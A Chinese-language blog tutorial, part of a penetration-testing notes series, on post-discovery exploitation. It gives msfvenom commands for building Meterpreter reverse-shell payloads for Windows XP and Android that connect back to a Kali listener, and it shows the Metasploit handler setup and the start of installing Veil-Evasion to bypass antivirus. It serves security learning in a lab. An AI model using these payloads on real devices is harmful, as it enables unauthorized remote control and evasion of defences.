渗透测试知识点(4)

发现漏洞后

经过前面的步骤后,我们已经发现了漏洞,接下来就是向目标系统发送一个程序,这个程序通常由两个子程序构成:

  • 一个是针对目标漏洞的渗透程序A
  • 一个是在目标系统完成指定任务的程序B
    进行渗透的时候,我们将子程序A和子程序B一起发送到目标系统的特定端口上,子程序A会利用目标系统的漏洞,在目标系统上执行子程序B,子程序B的作用是在目标上执行一些任务,比如远程控制、信息监听、文件下载等。

渗透测试模块

如果把漏洞比作是一栋建筑物中上了锁的入口的话,那么我们现在需要做的就是一把能打开入口的钥匙,这把钥匙就是渗透测试模块(子程序A),我们的工作就是要找到这个渗透测试模块。我们可以通过https://www.exploit.db.com/ 来搜索渗透测试模块,也可以使用kali linux自带的漏洞库。(请参阅渗透测试(5))
查找某个软件漏洞的方式是在终端输入以下命令:(此处以easyFileSharing为例)

searchsploit 软件名
searchsploit easy file sharing 

远程控制

上文中我们把漏洞渗透模块比作一把进入目标系统的钥匙,现在我们已经获得了这把钥匙,接下来可以把一段代码(Shellcode)送到目标系统并执行。

远程控制程序

指的是可以在一台设备上操纵另一台设备的软件。远程控制程序分为两个部分,被控端和主控端。远程控制软件的分类有很多,最为常用的两个标准如下所示:

  • 按照远程控制软件被控端与主控端的连接方式:将远程控制软件分为正向和反向。(正向远程控制中,被控端只会在自己的主机上打开一个端口,然后等待主控端计算机的连接,所以使用这种方式主控端必须知道被控端的IP地址;但在反向远程控制中,主控端不需要知道被控端的IP地址,只需把这个远程控制程序发送给被控端即可)。
  • 按照目标操作系统的不同分类:比如在Windows平台下使用的远程控制程序对于Android操作系统是没有用的。

在kali中对WindosXP进行远程控制

在Kali中生成被控端

生成被控端只需要考虑4点:

  1. 选用哪个payload
  2. 设置payload参数
  3. 输出payload格式
  4. 输出payload位置

在kali中生成远程控制被控端程序,在kali终端输入以下命令:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.190.134 lport=5000 -f exe -o /root/payload.exe
  • -p 指定要生成的payload(攻击载荷),如果要使用自定义的payload,则使用-stdin指定,上例中的windows/meterpreter/reverse_tcp是一个用于Windows平台下的反向远程控制程序。
  • lhost 指定接收被控端信息的主机(攻击载荷的参数之一)
  • lport 指定接收被控端信息的端口(攻击载荷的参数之一)
  • -f 指定输出的格式(可以使用-help–format来获得msf支持的输出格式列表)
  • -o 指定存储攻击载荷(payload)的路径
    该命令执行后,会在参数-o后指定的路径中建立一个文件payload.exe,将该文件放入被控端主机中(WindowsXP系统)。

注:上述lhost、lport都是攻击载荷的参数,攻击载荷不同,需要设置的参数也不同,可以使用

在kali中启动主控端

在主控端主机(kali)中启动metasploit(请参阅渗透测试(5)):

msfconsole 

在Metasploit使用handler来作为主控端:

msf> use exploit/multi/handler

对主控端进行设置:

msf> set payload widnows/meterpreter/reverse_tcp   //设置攻击载荷
msf> set lhost 192.168.190.135   //设置攻击载荷的参数
msf> set lport 5000              //设置攻击载荷的参数

执行攻击:

msf> exploit

整体过程如下,出现最后一行表示攻击程序启动成功

在被控端(windowsXP)打开payload.exe文件,然后会在主控端出现以下字样,表示已经成功取得被控端的控制权,在meterpreter后输入相关操作对被控端(WindowsXP)进行控制。

meterpreter在各种操作系统中的应用

上述我们使用的被控端程序是基于Metasploit中提供的windows/meterpreter/reverse_tcp生成的。Metasploit分类下提供大量的被控端程序,后面介绍的payload也可以等同于被控端程序,,使用如下命令可以查看所有可使用的payload:

msfvenom -l payloads

得到的结果如图所示:

Name为Payload的名称,Description是对漏洞的描述。

  • 所有payload模块的名字都使用三段式的标准,就是采用针对的操作系统+控制方式+模块具体名称组成,比如上例中的windows/meterpreter/reverse_tcp
  • payload提供的控制方式主要有shellmeterpreter等几种
  • 在最后面的模块名称中一般会表明是正向还是反向方式,以及采用哪一种网络协议进行传输。

每个Payload在使用的时候都需要设置一些参数,可以使用选项–payload-options来查看这个payload需要设置的参数:

msfvenom -p windows/meterpreter/reverse_tcp --payload-options

meterpreter在安卓系统的应用

测试用的手机应与kali计算机连在同一局域网内(kali虚拟机采用桥接模式)
在Kali平台下实施如下操作

  1. 创建andriod平台下的远程控制程序:
    msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.190.138 lport=5000 R>/root/payload.apk
  • R> 因为msfvenom命令中默认没有apk这种可以直接在Android操作系统执行的文件格式,使用此参数可以保持文件原格式,就不必再使用-f -o指定输出格式和输出文件的位置。
  • 其他所有参数与攻击Windows操作系统下的命令含义相同。
  1. 在Metasploit中执行以下命令:
    use exploit/multi/handler
    set payload android/meterpreter/reverse_tcp
    set lhost 192.168.190.138
    set lport 5000
    exploit
  2. 在手机上启动payload.apk程序,即可在kali上执行远程控制程序。
  3. 连接成功过后使用help命令可以查看meterpreter在android系统中适用的指令

使用Veil-Evasion绕过杀毒软件

安装veil-Evasion

kali并没有安装好Veil,在终端输入以下命令:

apt-get install evil-evasion

   转载规则


《渗透测试知识点(4)》 fightingtree 采用 知识共享署名 4.0 国际许可协议 进行许可。
  目录